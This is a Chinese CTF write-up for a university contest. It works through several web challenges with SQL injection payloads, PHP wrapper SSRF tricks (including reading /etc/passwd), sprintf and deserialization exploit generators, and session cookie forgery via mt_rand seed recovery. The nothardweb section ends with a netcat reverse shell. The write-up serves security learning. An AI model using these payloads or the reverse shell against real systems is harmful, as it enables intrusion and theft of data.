高校战“疫”网络安全分享赛 wp

菜到自闭

webtmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
1
2
3
4
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

nweb

页面提示注册的用户也有等级之分哦,注册抓包有个type=0,注册页面有个注释110,注册时修改type=110可访问flag.php,里面有个搜索框可以注入

字符型注入,语法不正确会返回500,过滤了sleep、union等关键字。数据库名可以正常注出,不过查表时返回500:

1' and ascii(mid(database(),{},1))={} and pow(999,999)#
1' and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={} and pow(999,999)#

然后没思路了…后来发现别的师傅测出selectfrom被过滤了,可以通过双写绕过:

1' or (ascii(mid((seselectlect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),{},1))={})#

数据表中藏有一部分flag和admin密码,之后通过rogue mysql server读出flag.php中另一部分

fmkq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';

$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}

存在变量覆盖和ssrf,很明显head是反斜杠,在函数前表示命名空间;正则过滤了绝大多数协议,使用http协议读内网web服务,最后结果会输出The number you want: 0,因为最后sprintf使用了%d格式化整数变量,因此可通过变量覆盖来改变begin的值

php sprintf格式化字符串漏洞

下面把这个漏洞给全部梳理一遍

sprintf()函数使用的一些例子:

1
2
3
4
sprintf('hello %s!', 'gtfly'); # 位置对齐,结果是 hello gtfly!
sprintf('%2$s have %1$d money', 100, 'gtfly'); # 通过%1$、%2$指定参的位置,输出 gtfly have 100 money
sprintf('%2$s have %d money', 100, 'gtfly'); # 结果是 gtfly have 100 money
sprintf('%1$s-%s', 'gtfly'); # 结果是 gtfly-gtfly

如果sprintf()第一个参数中的格式化参数数量大于后面参数的数量,则会返回False,例如下面的:

1
sprintf('%2$s have %1$d money', 100);

字符串padding:

1
2
sprintf('hello%10s','gtfly'); # 默认使用空格填充,%6表示1,%10表示5
sprintf("hello%'a10s",'gtfly'); # 指定使用字母a填充,格式为 [%'][填充的字符][字符数量][字符类型]

可以看到上面填充其他字符时,第一个参数中的单引号不见了,这在某些情况下可产生漏洞

sprintf()底层源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
switch (format[inpos]) {
case 's':
{
zend_string * t;
zend_string * str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
break;
case 'u':
php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
break;
case 'c':
php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
break;
case 'x':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
break;
case 'X':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
break;
case '%':
php_sprintf_appendchar( & result, &outpos, '%');
break;
default:
break;
}

对14个字母和一个%进行处理,如果字符不在这15个字符中,那么会导致格式化失败,直接舍弃:

sprintf("hello%a",'gtfly'); # 结果是 hello

下面由于%1$a%s中不存在a类型,那么会舍弃,剩下的%s可继续进行格式化:

sprintf("hello%1$a%s",'gtfly'); # 结果是 hellogtfly

那么此时将a替换为',同样也会被舍弃

先总结那么多,回到这个题目上,问题可简化为下面的代码,控制$begin的值使其输出gtfly

$begin = '';
echo sprintf($begin."%d", 'gtfly');

那么方法有:

$begin = '%s%'
$begin = '%1$s'
...

第一种最终执行:

sprintf('%s%%d', 'gtfly')

两个%%,会被自动渲染成一个%字符,那么后面的d便会失去作用,最终输出gtfly%d

第二种最终执行:

sprintf('%1$s%d', 'gtfly')

第一个格式化字符指定了渲染第一个参数,第二个%d默认渲染第一个参数,最终输出gtfly0

之后便可ssrf探索内网服务,扫描端口发现8080有个web服务:

Welcome to our FMKQ api, you could use the help information below To read file: /read/file=example&vipcode=example if you are not vip,let vipcode=0,and you can only read /tmp{file} Other functions only for the vip!!!

hackme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
}
}

绕过方法:

compress.zlib://data:@127.0.0.1/plain;base64,

之后用hitcon 4字符写shell的方法getshell即可

其他

data协议:

1
2
3
4
5
<?php

$url = 'data:xxx/plain,<?=phpinfo()?>';

echo file_get_contents($url);

会正常输出<?=phpinfo()?>,因此data:/plain中间的值可任意更改

zlib协议:

1
2
3
4
5
<?php

$url = 'compress.zlib:///etc/passwd';

echo file_get_contents($url);

上述可正常输出/etc/passwd的内容;这个协议也经常配合phar协议进行绕过

sqlcheckin

题目直接给出源码,是POD查询,其查询语句为:

1
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");

过滤了:

or 空格

这道题直接通过运算,是password字段为0,因为mysql比较时是弱类型运算,密码以字母开头,那么和0进行运算时,密码会转换为0,从而绕过password字段的判断;或者username处构造运算,使得and后面为1,payload如下:

username=admin&password='-0-'
username=admin&password='^0^'
username=admin'and(1-&password=)-'

开始一直在考虑多参数请求拆分,通过反斜线来逃逸出单引号,但我忘记了某些情况下pdo可以自动进行转义,来防止sql注入。下面的情况可以进行注入,参考文章

1.没有通过prepare预编译,直接执行了query或exec来执行sql语句

2.预编译的变量名可修改:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (!isset($_GET['id'])){
die();
}
$dbh=new PDO('mysql:host=localhost;dbname=test_data','root','');
$sql="SELECT * FROM `users` WHERE `id`=:".$_GET['id'];
$sth=$dbh->prepare($sql);
$sth->execute(array(":id"=>1));
$result=$sth->fetch(PDO::FETCH_ASSOC);
foreach ($result as $item){
echo $item;
}

3.能拼接语句,在预编译之前,污染语句

1
2
3
4
5
6
7
8
9
10
<?php
if (!isset($_GET['id'])){ die();}
$dbh=new PDO('mysql:host=localhost;dbname=test_data','root','');
$sql="SELECT * FROM `users` WHERE `id`=:id ".$_GET['id'];
$sth=$dbh->prepare($sql);
$sth->execute(array(":id"=>1));
$result=$sth->fetch(PDO::FETCH_ASSOC);
foreach ($result as $item){
echo $item;
}

4.宽字节编码绕过

5.多语句执行

easy_trick_gzmtu

很坑的一道题,源码提示<!--?time=Y或者?time=2020-->

输入的字符都被data函数处理了,通过在字符前加上反斜线可以使其失效;那么在所有sql语句前都加上反斜线即可

最终爆数据payload:

/?time=-2020%27%20\u\n\i\o\n%20\s\e\l\e\c\t%201,(\s\e\l\e\c\t%20\g\r\o\u\p\_\c\o\n\c\a\t\(\u\s\e\r\n\a\m\e\,\p\a\s\s\w\d\,\u\r\l\)%20\f\r\o\m%20\a\d\m\i\n\),3--+

得到账号密码后登录会得到一个路径,url处存在ssrf,访问其他文件会提示请从本地访问;利用file协议可以夹带host而file协议本身忽略host的做法,读取提示的文件:

url=file://localhost//var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php

得到文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{
if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);
}
}
}

public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}

public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}

public function __destruct(){
$this->content_to_file($this->calc());
}

}
unserialize((base64_decode($_GET['code'])));
?>

调用了content_to_file函数,里面的正则使用了/m匹配符,它的作用如下:

m (PCRE_MULTILINE)
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。 

因此可通过换行符绕过:

?pass=a20200202%0aa.passwd

calc则过滤了字母数字还有一些特殊字符;方法1,通过取反符来绕过preg_match的检测,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$gf = 'FLAG'; # 因为取反后代码str_split($number,2)会两两分组转字符,返回小写字符串,因此这里用大写FLAG构造
$res = '';
for($i=0;$i<strlen($gf);$i++){
$res .= ord($gf[$i]);
}

$gf = '';
for($i=0;$i<strlen($res);$i++){
$gf .= '\x'.bin2hex(~$res[$i]);
}

# echo $gf."\n";

class trick{
public $gf;
}

$a = new trick();
$a->gf = "~\xc8\xcf\xc8\xc9\xc9\xca\xc8\xce";
echo base64_encode(serialize($a));

方法2,使用!@(等)组合构造出数字

下面的代码会输出1

1
<?php echo !!'@'; ?>

除了@符号外,我在本地测试其他字符也都同样可以

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

# 70766571
# echo (!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'-!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@');

class trick{
public $gf = "(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'-!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@'+!!'@').(!!'@')";
}

$a = new trick();
echo base64_encode(serialize($a));

?>

nothardweb

扫目录,获得index.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "********";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

user.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}

第一次访问题目可以拿到第1次,第227,228次生成的随机数,题目告诉了你是第229 user

安全客有这样一篇文章:无需爆破还原mt_rand()种子

文章中描述:只要知道两个状态值(如S[i]S[i+227]),以及这两个值对应的偏移量i,我们就能还原出种子。

到github下载好脚本,得到种子:

▶ python3 reverse_mt_rand.py 1480659722 681241795  0 1
1175466337

各参数分别为:

  • 相隔226个数的R0, R227
  • 生成R0之前已经生成的个数offset
  • flavour如果是php7则为1, php5则为0

得到了种子,我们就知道了第229次加解密所使用的key;现在已知:明文、密文、key,不知道iv,由下图des-cbc模式解密流程可知,通过key解密之后,再和plaintext异或(即让plaintext作为iv),便可得到iv

http://www.gtfly.top:81/QQ%E5%9B%BE%E7%89%8720190914071249.png

接下来就可伪造admin了,然后提示下一关:

I left a shell in 10.10.1.12/index.php
try to get it!

右键查看源码:

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}

通过:

/?cc=`$cc`;command

绕过,怎样打到内网呢,因为代码中给出:

$o = unserialize($uid);
echo $o->show();

便可想到用SoapClient类触发ssrf打内网,然后反弹shell;使用bash提示权限不够,可以使用nc

bash -c 'nc ip port -t -e /bin/bash'

最后一关是Tomcat的一个CVE:vulhub

PHP-UAF

https://www.exploit-db.com/exploits/48072


https://zhuanlan.zhihu.com/p/89132768

https://blog.csdn.net/chasingin/article/details/104750602/